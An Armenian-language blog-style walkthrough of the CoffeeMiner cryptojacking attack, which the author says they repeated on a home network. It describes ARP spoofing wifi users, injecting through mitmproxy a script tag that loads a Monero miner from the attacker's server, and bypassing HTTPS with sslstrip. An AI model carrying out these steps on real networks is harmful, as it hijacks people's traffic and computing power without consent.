Հաքինգ և հակառակը

Փոքր հաքերային հարձակում հանրային wifi ցանցի վրա, որը մայնինգ կանի

Մայնինգի ոլորտում աշխարհում կատարվող շարժը ուսումնասիրելու ժամանակ հանդիպեցի մի հետաքրքիր կոնցեպտի, որը ուներ CoffeeMiner անուն։ Դե գիշերը չեմ քնել ու կոֆե էի ուզում, էս անունը միանգամից գրավեց։

CoffeeMiner-ը python-ով գրված փոքր սկրիպտ է, որը իրականացնում է man-in-the-middle հարձակում։ Գաղափարը հետևյալն է։ CoffeeMiner-ը spoofing է անում ARP (Address Resolution Protocol) պրոտոկոլը, որ ստանա wifi ցանցը օգտագործողի թրաֆիկը չգաղտնագրված տեսքով։ Նախապես որոշված HTML կոդը ինյեկցիա է անում թրաֆիկի մեջ հայտնի mitmproxy գործիքի օգնությամբ։ Արդյունքում թրաֆիկի մեջ ներարկում ջավասկրիպտ կոդ, որը օգտագործում է wifi ցանցից օգտվողների համակարգիչների պրոցեսորները մայնինգ անելու համար։

Որոշեցի իմ տան ցանցի վրա կրկնել հարձակումը զուտ հետազոտական նպատակներով։ Վերցրեցի Coinhive-ի սարքած JS mining սկրիպտը, որը աշխատում է բրաուզերում ու մայնինգ է անում Monero կրիպտոարժույթը։

Համառոտ պատկերը հետևյալն է։

Նախ պետք էր կազմակերպել MITM (Man-In-The-Middle) հարձակում, որ խցկենք ջավասկրիպտ կոդը html էջերում։

Սովորական դեպքում իմ ցանցի պատկերը էսպիսինն է։

Նախ փոխում ենք թիրախի ցանցի կարգավորումները։

Ապա հարձակվողի։

Եվ վերջապես router/gateway

Արդյունքում իմ ցանցը դառնում է՝

 

ARPspoofing հարձակման համար օգտագործում եմ dnsniff գրադարանը։

Հետո պետք է մեր մայնինգի կոդը խցկենք թիրախի HTML էջերում։ Օգտագործում եմ mitmproxy գործիքը, որը թույլ է տալիս անալիզ անել հոսթի թրաֆիկը ու փոխել։ Ավելացնում եմ փոքր JS կոդ։

<script src=”http://httpserverIP:8000/script.js” type=”text/javascript”></script>

Վերջապես ինձ պետք էր HTTP sever, որտեղ deploy կանեմ սկրիպտերը։ Python-ի հասարակ http.server գրադարանը խնդիրը կլուծի։

Սկսենք հարձակումը։

Առաջին հերթին մեզ պետք է կարգավորել ip_forwarding և IPTABLES, որպեսզի հարձակվողի համակարգչում ունենանք proxy։

ARPspoofing իրականցնելու համար ունենք victims.txt ֆայլը, որտեղ գրված են թիրախների IP հասցեները։ Գրում ենք python կոդ, որը հերթով կարդում է IP հասցեները ֆայլից, տալիս ենք նաև gateway֊ը command line args-ով։

Դե ARPspoofing-ի հաջող իրականացման դեպքում պետք է միացնել HTTP Server-ը

Վերջում ամենը հավաքում ենք մի տեղ անունը դնում ենք coffeeminer.py և pyton-ին խնդրում ենք աշխատեցնել դա՝

Ու սուս ու փուս գնում ենք մեր կոֆե խմելու ^_^

Սա կարելի է հեշտությամբ ավտոմատացնել։ CoffeeMiner-ը չի աշխատում https֊ով, բայց կարելի է շրջանցել խնդրը sslstip֊ի օգնությամբ: